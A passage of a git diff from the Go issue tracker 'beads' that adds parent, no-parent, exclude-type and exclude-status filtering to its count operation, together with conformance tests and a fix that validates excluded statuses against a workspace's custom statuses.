func(t *testing.T) { + conformance.RunCounterExcludeTypesNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ExcludeStatusNarrowsThePredicate", func(t *testing.T) { + conformance.RunCounterExcludeStatusNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ParentIDMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterParentIDMatchesListCardinality(t, ctx, fixture) + }) + t.Run("NoParentMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterNoParentMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ExcludeTypesMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterExcludeTypesMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ParentIDIncludesAWispChild", func(t *testing.T) { + conformance.RunCounterParentIDIncludesAWispChild(t, ctx, fixture) + }) + t.Run("ParentIDAndExcludeStatusComposeOnAClosedChild", func(t *testing.T) { + conformance.RunCounterParentIDAndExcludeStatusComposeOnAClosedChild(t, ctx, fixture) + }) } func newDoltCounterFixture(t *testing.T, prefix string) (conformance.CounterFixture, context.Context, func()) { @@ -78,12 +105,20 @@ func newDoltCounterFixture(t *testing.T, prefix string) (conformance.CounterFixt t.Fatalf("Counter(): %v", err) } kit := newDoltRoleFixtureKit(store, prefix) + reader, err := store.IssueReader() + if err != nil { + cancel() + storeCleanup() + t.Fatalf("IssueReader(): %v", err) + } fixture := conformance.CounterFixture{ - IssuePrefix: kit.IssuePrefix, - Counter: counter, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Counter: counter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + AddDependency: kit.AddDependency, + List: reader.List, } return fixture, ctx, func() { cancel() diff --git a/internal/storage/embeddeddolt/counter_contract_test.go b/internal/storage/embeddeddolt/counter_contract_test.go index dd6e3f167..b39570cb3 100644 --- a/internal/storage/embeddeddolt/counter_contract_test.go +++ b/internal/storage/embeddeddolt/counter_contract_test.go @@ -6,6 +6,8 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // TestCounterContract runs the Counter contract against the embedded store, @@ -68,6 +70,33 @@ func TestCounterContract(t *testing.T) { t.Run("WritesNothing", func(t *testing.T) { conformance.RunCounterWritesNothing(t, ctx, fixture) }) + t.Run("ParentIDScopesToChildren", func(t *testing.T) { + conformance.RunCounterParentIDScopesToChildren(t, ctx, fixture) + }) + t.Run("NoParentExcludesChildren", func(t *testing.T) { + conformance.RunCounterNoParentExcludesChildren(t, ctx, fixture) + }) + t.Run("ExcludeTypesNarrowsThePredicate", func(t *testing.T) { + conformance.RunCounterExcludeTypesNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ExcludeStatusNarrowsThePredicate", func(t *testing.T) { + conformance.RunCounterExcludeStatusNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ParentIDMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterParentIDMatchesListCardinality(t, ctx, fixture) + }) + t.Run("NoParentMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterNoParentMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ExcludeTypesMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterExcludeTypesMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ParentIDIncludesAWispChild", func(t *testing.T) { + conformance.RunCounterParentIDIncludesAWispChild(t, ctx, fixture) + }) + t.Run("ParentIDAndExcludeStatusComposeOnAClosedChild", func(t *testing.T) { + conformance.RunCounterParentIDAndExcludeStatusComposeOnAClosedChild(t, ctx, fixture) + }) } func newEmbeddedCounterFixture(t *testing.T, te *testEnv, prefix string) conformance.CounterFixture { @@ -76,12 +105,82 @@ func newEmbeddedCounterFixture(t *testing.T, te *testEnv, prefix string) conform if err != nil { t.Fatalf("Counter(): %v", err) } + reader, err := te.store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } kit := newEmbeddedRoleFixtureKit(te, prefix) return conformance.CounterFixture{ - IssuePrefix: kit.IssuePrefix, - Counter: counter, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Counter: counter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + AddDependency: kit.AddDependency, + List: reader.List, + } +} + +// TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +// pins the PR #7199 review's blocker fix: the store-backed Counter must load +// the workspace's list configuration when ExcludeStatus is non-empty, not +// only when IncludeInfra is set, so BuildCountFilter's validation sees the +// workspace's own custom statuses. A leg-level test, not a conformance case, +// because CounterFixture cannot drive a workspace-configured custom status +// (counter_contract.go's CounterFixture doc) — this needs a real store with +// status.custom set. +// +// Reproduces the reviewer's CLI repro directly against the store: with +// status.custom="review,qa", an issue moved to "review", and IncludeInfra +// left unset, `--exclude-status review` must narrow the count instead of +// being refused as an unrecognized status. +func TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "cntcs") + ctx := t.Context() + + if err := te.store.SetConfig(ctx, "status.custom", "review,qa"); err != nil { + t.Fatalf("SetConfig(status.custom): %v", err) + } + + const openID = "cntcs-open" + const reviewID = "cntcs-review" + for _, id := range []string{openID, reviewID} { + if err := te.store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + if err := te.store.UpdateIssue(ctx, reviewID, map[string]interface{}{ + "status": types.Status("review"), + }, "tester"); err != nil { + t.Fatalf("UpdateIssue(%s) to review: %v", reviewID, err) + } + + counter, err := te.store.Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + + scope := publicops.CountRequest{IDFilter: openID + "," + reviewID} + total, err := counter.Count(ctx, scope) + if err != nil { + t.Fatalf("Count(unfiltered): %v", err) + } + if total.Total != 2 { + t.Fatalf("Count(unfiltered).Total = %d, want 2", total.Total) + } + + // IncludeInfra left UNSET: before the fix this refused with "invalid + // exclude-status \"review\"" because the config load was gated on + // IncludeInfra alone. + scope.ExcludeStatus = []string{"review"} + result, err := counter.Count(ctx, scope) + if err != nil { + t.Fatalf("Count(exclude-status=review, IncludeInfra unset): %v, want the custom status accepted", err) + } + if result.Total != 1 { + t.Fatalf("Count(exclude-status=review).Total = %d, want 1", result.Total) } } diff --git a/internal/storage/uow/counter.go b/internal/storage/uow/counter.go index 03a155788..467712fa2 100644 --- a/internal/storage/uow/counter.go +++ b/internal/storage/uow/counter.go @@ -85,11 +85,14 @@ func (c *counter) CountByGroup(ctx context.Context, req publicops.CountByGroupRe } // countFilter builds the storage filter from the unit of work the call already -// holds, loading configuration only when IncludeInfra can read it — the same two -// decisions the store-backed body makes, through the same builder. +// holds, loading configuration only when IncludeInfra or ExcludeStatus can +// read it — the same two decisions the store-backed body makes, through the +// same builder. ExcludeStatus needs the workspace's custom status names so +// BuildCountFilter's validation does not refuse a status the workspace itself +// defines (PR #7199 review). func countFilter(ctx context.Context, uw UnitOfWork, req publicops.CountRequest) (types.IssueFilter, error) { var cfg workapi.ListConfig - if req.IncludeInfra { + if req.IncludeInfra || len(req.ExcludeStatus) > 0 { loaded, err := workapi.LoadUOWListConfig(ctx, uw) if err != nil { return types.IssueFilter{}, err diff --git a/internal/storage/uow/counter_contract_test.go b/internal/storage/uow/counter_contract_test.go index 45e4de73b..9936e77e1 100644 --- a/internal/storage/uow/counter_contract_test.go +++ b/internal/storage/uow/counter_contract_test.go @@ -5,6 +5,9 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // TestCounterContract runs the Counter contract against the unit-of-work @@ -65,6 +68,33 @@ func TestCounterContract(t *testing.T) { t.Run("WritesNothing", func(t *testing.T) { conformance.RunCounterWritesNothing(t, ctx, fixture) }) + t.Run("ParentIDScopesToChildren", func(t *testing.T) { + conformance.RunCounterParentIDScopesToChildren(t, ctx, fixture) + }) + t.Run("NoParentExcludesChildren", func(t *testing.T) { + conformance.RunCounterNoParentExcludesChildren(t, ctx, fixture) + }) + t.Run("ExcludeTypesNarrowsThePredicate", func(t *testing.T) { + conformance.RunCounterExcludeTypesNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ExcludeStatusNarrowsThePredicate", func(t *testing.T) { + conformance.RunCounterExcludeStatusNarrowsThePredicate(t, ctx, fixture) + }) + t.Run("ParentIDMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterParentIDMatchesListCardinality(t, ctx, fixture) + }) + t.Run("NoParentMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterNoParentMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ExcludeTypesMatchesListCardinality", func(t *testing.T) { + conformance.RunCounterExcludeTypesMatchesListCardinality(t, ctx, fixture) + }) + t.Run("ParentIDIncludesAWispChild", func(t *testing.T) { + conformance.RunCounterParentIDIncludesAWispChild(t, ctx, fixture) + }) + t.Run("ParentIDAndExcludeStatusComposeOnAClosedChild", func(t *testing.T) { + conformance.RunCounterParentIDAndExcludeStatusComposeOnAClosedChild(t, ctx, fixture) + }) } func newUOWCounterFixture(t *testing.T, ctx context.Context, prefix string) conformance.CounterFixture { @@ -80,12 +110,99 @@ func newUOWCounterFixture(t *testing.T, ctx context.Context, prefix string) conf if err != nil { t.Fatalf("Counter(): %v", err) } + readerSource, ok := provider.(IssueReaderSource) + if !ok { + t.Fatalf("provider %T does not offer the IssueReader accessor", provider) + } + reader, err := readerSource.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } kit := newUOWRoleFixtureKit(provider, prefix) return conformance.CounterFixture{ - IssuePrefix: kit.IssuePrefix, - Counter: counter, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Counter: counter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + AddDependency: kit.AddDependency, + List: reader.List, + } +} + +// TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +// pins the PR #7199 review's blocker fix on the unit-of-work leg: countFilter +// must load the workspace's list configuration when ExcludeStatus is +// non-empty, not only when IncludeInfra is set, so BuildCountFilter's +// validation sees the workspace's own custom statuses. A leg-level test, not +// a conformance case, because CounterFixture cannot drive a +// workspace-configured custom status (counter_contract.go's CounterFixture +// doc) — this needs a real provider with status.custom set. +// +// Its own provider (not newUOWCounterFixture's), so status.custom does not +// leak into the other subtests sharing that fixture's one database. +func TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "cntcs") + + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "set status.custom", uw.ConfigUseCase().SetConfig(ctx, "status.custom", "review,qa") + }); err != nil { + t.Fatalf("SetConfig(status.custom): %v", err) + } + + const openID = "cntcs-open" + const reviewID = "cntcs-review" + for _, id := range []string{openID, reviewID} { + id := id + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + _, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{ + Issue: &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, + ExplicitID: id, + CreateOnly: true, + }, "tester") + return "seed " + id, err + }); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "move to review", uw.IssueUseCase().UpdateIssue(ctx, reviewID, map[string]any{ + "status": types.Status("review"), + }, "tester") + }); err != nil { + t.Fatalf("UpdateIssue(%s) to review: %v", reviewID, err) + } + + source, ok := provider.(CounterSource) + if !ok { + t.Fatalf("provider %T does not offer the Counter accessor", provider) + } + counter, err := source.Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + + scope := publicops.CountRequest{IDFilter: openID + "," + reviewID} + total, err := counter.Count(ctx, scope) + if err != nil { + t.Fatalf("Count(unfiltered): %v", err) + } + if total.Total != 2 { + t.Fatalf("Count(unfiltered).Total = %d, want 2", total.Total) + } + + // IncludeInfra left UNSET: before the fix this refused with "invalid + // exclude-status \"review\"" because the config load was gated on + // IncludeInfra alone. + scope.ExcludeStatus = []string{"review"} + result, err := counter.Count(ctx, scope) + if err != nil { + t.Fatalf("Count(exclude-status=review, IncludeInfra unset): %v, want the custom status accepted", err) + } + if result.Total != 1 { + t.Fatalf("Count(exclude-status=review).Total = %d, want 1", result.Total) } } diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 2aef4adc4..66c1f509b 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -43,8 +43,11 @@ func ValidateCountGroup(group issueops.CountGroup) (string, error) { // pinned by a golden-style test comparing this builder's output against // BuildListFilter's for the same request (count_test.go, GH#4387). // -// cfg supplies the workspace's infra vocabulary and is only read under -// IncludeInfra; a zero ListConfig falls back to the default infra set. +// cfg supplies the workspace's infra vocabulary and its custom status names. +// It is read under IncludeInfra AND whenever ExcludeStatus is non-empty (the +// exclusion is validated against the workspace's statuses), so a caller must +// load it in both cases; a zero ListConfig falls back to the default infra set +// and the built-in statuses only. func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilter, error) { filter := types.IssueFilter{ TitleSearch: in.TitleSearch, @@ -103,6 +106,59 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt filter.IDs = ids } + // ParentID and NoParent are refused together, matching `bd list`'s CLI + // refusal of the same combination (cmd/bd/list_input.go) with the same + // wording — the role raises it as ErrValidation so a caller reaching this + // builder from any front door (HTTP, proxied CLI, a future client) gets + // the same refusal the primary CLI's flag parser gives, rather than the + // role silently answering the empty intersection. + if in.ParentID != "" && in.NoParent { + return types.IssueFilter{}, fmt.Errorf("--parent and --no-parent are mutually exclusive%.0w", issueops.ErrValidation) + } + if in.ParentID != "" { + parentID := in.ParentID + filter.ParentID = &parentID + } + if in.NoParent { + filter.NoParent = true + } + + // ExcludeTypes is appended to, not assigned: applyCountIncludeInfra (below) + // contributes its own "gate" exclusion, and the two sets must compose + // rather than one silently discarding the other, exactly as + // BuildListFilter's ExcludeTypes and applyTypeSuppressions compose. + for _, raw := range in.ExcludeTypes { + for _, t := range strings.Split(raw, ",") { + t = strings.TrimSpace(t) + if t != "" { + filter.ExcludeTypes = append(filter.ExcludeTypes, types.IssueType(utils.NormalizeIssueType(t))) + } + } + } + + // ExcludeStatus takes names as written but — unlike Status and IssueType + // above — IS validated against the workspace vocabulary (built-in statuses + // plus cfg's custom ones, the same set ApplyStatusFilter checks in + // list.go). An exclusion list is built by hand from a status name, so a + // misspelled entry here would silently exclude nothing and OVERCOUNT + // rather than undercount, which is a worse failure mode than the + // match-nothing treatment Status and IssueType accept above — so a typo + // is ErrValidation instead. + for _, raw := range in.ExcludeStatus { + for _, s := range strings.Split(raw, ",") { + s = strings.TrimSpace(s) + if s == "" { + continue + } + status := types.Status(s) + if !status.IsValidWithCustom(cfg.CustomStatusNames()) { + return types.IssueFilter{}, fmt.Errorf("invalid exclude-status %q (valid: %s)%.0w", + s, ValidStatusList(cfg.CustomStatusNames()), issueops.ErrValidation) + } + filter.ExcludeStatus = append(filter.ExcludeStatus, status) + } + } + if in.IncludeInfra { applyCountIncludeInfra(&filter, in.IssueType, cfg) } else if !in.IncludeEphemeral { diff --git a/internal/workapi/count_test.go b/internal/workapi/count_test.go index 481e035c2..2d8b102fe 100644 --- a/internal/workapi/count_test.go +++ b/internal/workapi/count_test.go @@ -158,6 +158,204 @@ func TestBuildCountFilterNormalizesLabelsAndIDs(t *testing.T) { } } +// TestBuildCountFilterMapsParentAndNoParent pins ParentID/NoParent's mapping +// into types.IssueFilter, mirroring BuildListFilter's ParentID/NoParent +// mapping (internal/workapi/list.go) field for field. +func TestBuildCountFilterMapsParentAndNoParent(t *testing.T) { + got, err := BuildCountFilter(issueops.CountRequest{ParentID: "bd-1"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if got.ParentID == nil || *got.ParentID != "bd-1" { + t.Errorf("ParentID = %v, want \"bd-1\"", countPtrStr(got.ParentID)) + } + if got.NoParent { + t.Errorf("NoParent = true, want false: request did not set it") + } + + got, err = BuildCountFilter(issueops.CountRequest{NoParent: true}, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if got.ParentID != nil { + t.Errorf("ParentID = %v, want nil: request did not set it", countPtrStr(got.ParentID)) + } + if !got.NoParent { + t.Error("NoParent = false, want true") + } +} + +// TestBuildCountFilterExcludeTypesSplitsAndNormalizes pins ExcludeTypes' +// mapping: comma-separated entries split, trim and normalize exactly as +// BuildListFilter's ExcludeTypes does, and the result APPENDS to (rather than +// replaces) whatever applyCountIncludeInfra later contributes. +func TestBuildCountFilterExcludeTypesSplitsAndNormalizes(t *testing.T) { + got, err := BuildCountFilter(issueops.CountRequest{ + // "feat" is an alias (-> "feature", internal/utils/strings.go); + // "bug" is not, so it passes through unchanged. + ExcludeTypes: []string{" bug , feat", "", "chore"}, + }, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + want := []types.IssueType{"bug", "feature", "chore"} + if !reflect.DeepEqual(got.ExcludeTypes, want) { + t.Errorf("ExcludeTypes = %v, want %v", got.ExcludeTypes, want) + } + + // Composes with IncludeInfra's own "gate" exclusion rather than + // discarding it. + got, err = BuildCountFilter(issueops.CountRequest{ + ExcludeTypes: []string{"chore"}, + IncludeInfra: true, + }, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + want = []types.IssueType{"chore", "gate"} + if !reflect.DeepEqual(got.ExcludeTypes, want) { + t.Errorf("ExcludeTypes = %v, want %v (explicit exclusions composed with IncludeInfra's)", got.ExcludeTypes, want) + } +} + +// TestBuildCountFilterParentFieldsMatchListFilter extends the GH#4387 +// count/list cardinality-parity pin to the three new Count fields that DO +// have a List counterpart: ParentID, NoParent and ExcludeTypes must produce +// the identical types.IssueFilter contribution BuildListFilter does for the +// same request, since a filter contract test (backend/conformance) can only +// show the two AGREE on one backend's rows — this shows WHY, at the one place +// both builders share. +func TestBuildCountFilterParentFieldsMatchListFilter(t *testing.T) { + cfg := ListConfig{} + + countGot, err := BuildCountFilter(issueops.CountRequest{ParentID: "bd-1"}, cfg) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + listGot, err := BuildListFilter(issueops.ListRequest{ParentID: "bd-1", AllFlag: true}, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if !reflect.DeepEqual(countGot.ParentID, listGot.ParentID) { + t.Errorf("Count ParentID = %v, List ParentID = %v, want equal", countPtrStr(countGot.ParentID), countPtrStr(listGot.ParentID)) + } + + countGot, err = BuildCountFilter(issueops.CountRequest{NoParent: true}, cfg) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + listGot, err = BuildListFilter(issueops.ListRequest{NoParent: true, AllFlag: true}, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if countGot.NoParent != listGot.NoParent { + t.Errorf("Count NoParent = %v, List NoParent = %v, want equal", countGot.NoParent, listGot.NoParent) + } + + countGot, err = BuildCountFilter(issueops.CountRequest{ExcludeTypes: []string{"wisp,feat"}}, cfg) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + // IncludeAllTypes on the list side skips applyTypeSuppressions' OWN + // exclusions (template/gate/infra defaults), isolating the one thing this + // case compares: the explicit --exclude-type mapping. + listGot, err = BuildListFilter(issueops.ListRequest{ExcludeTypes: []string{"wisp,feat"}, AllFlag: true, IncludeAllTypes: true}, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if !reflect.DeepEqual(countGot.ExcludeTypes, listGot.ExcludeTypes) { + t.Errorf("Count ExcludeTypes = %v, List ExcludeTypes = %v, want equal", countGot.ExcludeTypes, listGot.ExcludeTypes) + } +} + +// TestBuildCountFilterExcludeStatusTakesNamesAsWritten pins ExcludeStatus: a +// Count-only field with no List counterpart (ListRequest computes its default +// exclusions internally and exposes no caller-facing knob for them). Entries +// split and trim like ExcludeTypes. UNLIKE Status and ExcludeTypes, each name +// IS validated against the workspace vocabulary (review S8 follow-up #3): a +// built-in name passes as written, and an unrecognized one is ErrValidation +// rather than silently excluding nothing. +func TestBuildCountFilterExcludeStatusTakesNamesAsWritten(t *testing.T) { + got, err := BuildCountFilter(issueops.CountRequest{ + ExcludeStatus: []string{" closed , pinned", ""}, + }, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + want := []types.Status{"closed", "pinned"} + if !reflect.DeepEqual(got.ExcludeStatus, want) { + t.Errorf("ExcludeStatus = %v, want %v", got.ExcludeStatus, want) + } +} + +// TestBuildCountFilterExcludeStatusRejectsAnUnknownName pins the ErrValidation +// refusal (review S8 follow-up #3): a typo'd status name in --exclude-status +// must fail loudly rather than silently excluding nothing and overcounting. +func TestBuildCountFilterExcludeStatusRejectsAnUnknownName(t *testing.T) { + _, err := BuildCountFilter(issueops.CountRequest{ + ExcludeStatus: []string{"no-such-status"}, + }, ListConfig{}) + if err == nil { + t.Fatal("BuildCountFilter accepted an unknown exclude-status name, want ErrValidation") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("err = %v, want errors.Is(err, issueops.ErrValidation)", err) + } +} + +// TestBuildCountFilterExcludeStatusAllowsAWorkspaceCustomStatus pins the other +// half of #3: a workspace-defined custom status is NOT a typo and must be +// accepted, following ApplyStatusFilter's own IsValidWithCustom precedent in +// list.go. +func TestBuildCountFilterExcludeStatusAllowsAWorkspaceCustomStatus(t *testing.T) { + cfg := ListConfig{CustomStatuses: []types.CustomStatus{{Name: "triaged"}}} + got, err := BuildCountFilter(issueops.CountRequest{ + ExcludeStatus: []string{"triaged"}, + }, cfg) + if err != nil { + t.Fatalf("BuildCountFilter rejected the workspace's own custom status: %v", err) + } + want := []types.Status{"triaged"} + if !reflect.DeepEqual(got.ExcludeStatus, want) { + t.Errorf("ExcludeStatus = %v, want %v", got.ExcludeStatus, want) + } +} + +// TestBuildCountFilterRefusesParentAndNoParentTogether pins review S8 +// follow-up #1: the role refuses the combination as ErrValidation, with the +// same wording `bd list`'s CLI already uses for the same combination +// (cmd/bd/list_input.go), so a caller reaching this role from any front door +// gets the identical refusal. +func TestBuildCountFilterRefusesParentAndNoParentTogether(t *testing.T) { + _, err := BuildCountFilter(issueops.CountRequest{ParentID: "bd-1", NoParent: true}, ListConfig{}) + if err == nil { + t.Fatal("BuildCountFilter accepted --parent with --no-parent, want ErrValidation") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("err = %v, want errors.Is(err, issueops.ErrValidation)", err) + } + const want = "--parent and --no-parent are mutually exclusive" + if err.Error() != want { + t.Errorf("err = %q, want %q", err.Error(), want) + } +} + +// TestBuildCountFilterStatusAllIsNotValidation pins DESIGN's requirement that +// Status "all" have well-defined semantics: it is the no-filter spelling +// (same as empty), NOT ErrValidation, because BuildListFilter's own "all" +// selector means the same thing and a count must stay able to answer the +// cardinality of `bd list --status all --all` for the shared predicate +// (GH#4387 count/list parity). +func TestBuildCountFilterStatusAllIsNotValidation(t *testing.T) { + got, err := BuildCountFilter(issueops.CountRequest{Status: "all"}, ListConfig{}) + if err != nil { + t.Fatalf(`BuildCountFilter(status="all") returned an error, want nil: %v`, err) + } + if got.Status != nil { + t.Errorf(`status "all" produced Status = %v, want no status predicate`, countPtrStr(got.Status)) + } +} + func TestBuildCountFilterCarriesMetadataFields(t *testing.T) { fields := map[string]string{"team": "platform", "env": "prod"} got, err := BuildCountFilter(issueops.CountRequest{MetadataFields: fields}, ListConfig{}) diff --git a/internal/workapi/storecounter/counter.go b/internal/workapi/storecounter/counter.go index f873d5900..0c9fa1b29 100644 --- a/internal/workapi/storecounter/counter.go +++ b/internal/workapi/storecounter/counter.go @@ -75,15 +75,18 @@ func (c *storeCounter) CountByGroup(ctx context.Context, req issueops.CountByGro // filter builds the storage filter, loading the workspace configuration only // when the request can read it. // -// TWO THINGS ARE DELIBERATE. The load is SKIPPED unless IncludeInfra is set, -// because that flag is the only thing in a count request the configuration -// reaches. And when it does run it runs PER CALL rather than once at -// construction: the infra vocabulary is workspace state a caller can change -// between two counts, and a counter that cached it would answer for the older -// workspace. +// TWO THINGS ARE DELIBERATE. The load is SKIPPED unless IncludeInfra is set OR +// ExcludeStatus is non-empty — those are the two things in a count request the +// configuration reaches: IncludeInfra needs the infra vocabulary, and +// ExcludeStatus needs the workspace's custom status names so +// BuildCountFilter's validation does not refuse a status the workspace itself +// defines (PR #7199 review). And when it does run it runs PER CALL rather +// than once at construction: the infra vocabulary and custom statuses are +// workspace state a caller can change between two counts, and a counter that +// cached it would answer for the older workspace. func (c *storeCounter) filter(ctx context.Context, req issueops.CountRequest) (types.IssueFilter, error) { var cfg workapi.ListConfig - if req.IncludeInfra { + if req.IncludeInfra || len(req.ExcludeStatus) > 0 { loaded, err := workapi.LoadStoreListConfig(ctx, c.store) if err != nil { return types.IssueFilter{}, err diff --git a/issueops/counter.go b/issueops/counter.go index 594ec4add..1f97939f4 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -54,6 +54,17 @@ type CountRequest struct { // than quietly tightened, because a scripted caller that counts a status // its workspace has since dropped currently reads 0 and would start reading // an error. + // + // "all" is this field's one well-defined non-literal spelling, and it is + // NOT ErrValidation: it is equivalent to leaving Status empty, and + // BuildListFilter treats its own "all" selector identically (the no-filter + // spelling), so `bd count --status all ` and `bd list --status + // all --all` already agree on cardinality for the shared part + // of the predicate. Rejecting it here would break that count/list parity + // (the whole point of this role, GH#4387) for every caller already + // spelling it, and there is no caller-visible ambiguity it would resolve: + // "no status" is a filter that excludes every row, which "all" has never + // meant on either front door. Status string // IssueType restricts the type, with the same match-nothing-rather-than-fail // treatment Status gets and no alias expansion at all. @@ -66,6 +77,24 @@ type CountRequest struct { // written and answer with the empty intersection. Assignee string + // ParentID restricts to one issue's children, spelled as + // ListRequest.ParentID spells it: a parent-child dependency edge, OR (for + // an issue with no such edge) a dotted-id prefix match. NoParent restricts + // to rows with no parent-child dependency edge. It does not consult the + // dotted-id convention, so an edge-less dotted-id child (X.1) still counts + // as top-level — it is counted by BOTH ParentID X and NoParent, as it is + // listed by both `bd list --parent X --flat` and `bd list --no-parent`. + // + // Setting both IS refused, as ErrValidation, UNLIKE Assignee/NoAssignee + // above: `bd list`'s CLI already refuses `--parent` with `--no-parent` + // (cmd/bd/list_input.go) with this same wording, and a caller reaching + // this role directly — over HTTP, or through a future client that skips + // the primary CLI's flag parser — gets the identical refusal rather than + // a silent empty-intersection answer the primary CLI would never have let + // it ask for. + ParentID string + NoParent bool + // Priority is an exact priority; PriorityMin and PriorityMax bound a range // inclusively. All three are pointers because 0 is a real priority, for the // reason ReadyRequest.Priority gives. @@ -86,6 +115,25 @@ type CountRequest struct { // rather than a slice it had to prepare. IDFilter string + // ExcludeTypes names types to exclude, spelled as ListRequest.ExcludeTypes + // spells it: entries may be comma-separated, splitting and normalization + // happen inside, and an entry is NOT validated against the workspace + // vocabulary — an unrecognized type excludes nothing rather than failing. + // It composes with IncludeInfra's own "gate" exclusion rather than + // replacing it: both contribute to the same exclusion set. + ExcludeTypes []string + // ExcludeStatus names statuses to exclude. Unlike Status, this has no + // List counterpart — ListRequest computes its default status exclusions + // internally from workspace configuration and exposes no caller-facing + // knob for them. Here it is a new, Count-only capability (behavior token + // `issues.count.scope`): entries may be comma-separated, and — UNLIKE + // Status and ExcludeTypes above — each name IS validated against the + // workspace vocabulary (built-in statuses plus the workspace's own custom + // ones). An unrecognized name is ErrValidation rather than excluding + // nothing: a caller building an exclusion list by hand gets a loud failure + // on a typo instead of a silently wider, overcounted answer. + ExcludeStatus []string + // TitleContains, DescContains and NotesContains are substring matches on // the three long fields, spelled as ListRequest spells them so the two // requests cannot drift apart in naming while meaning the same thing. diff --git a/issueops/reader.go b/issueops/reader.go index 0a0219f52..3a7d3b0ce 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -54,7 +54,15 @@ type ReadyRequest struct { // the other, and P0 has already been lost that way once. Priority *int - // ParentID restricts to recursive descendants of one issue. + // ParentID restricts to ALL TRANSITIVE DESCENDANTS of one issue, not just + // its direct children: internal/storage/issueops/ready_work.go calls + // GetDescendantIDsInTx(ctx, tx, *filter.ParentID, 0), the recursive walk. + // GH#3396: this used to be a one-hop subquery against the dependency + // table, so grandchildren were silently dropped despite this comment and + // the help text both promising "descendants (recursive)" — do not + // mistake this for ListRequest.ParentID's non-walking clause, which is a + // DIFFERENT query (PR #7199 review: an earlier pass here wrongly copied + // that one-level wording onto this field). ParentID string // MolType restricts to one molecule type. MolType *MolType @@ -339,6 +347,29 @@ type ListRequest struct { // ExcludeTypes entries may be comma-separated; splitting happens inside. ExcludeTypes []string + // ParentID restricts to one issue's children through one SQL clause, the + // same one CountRequest.ParentID compiles to + // (internal/storage/sqlbuild/filter.go): a parent-child dependency edge + // onto ParentID, OR, for a row with no parent-child edge at all, an id + // under ParentID's dotted prefix ("X.1", "X.1.1"). NEITHER ARM 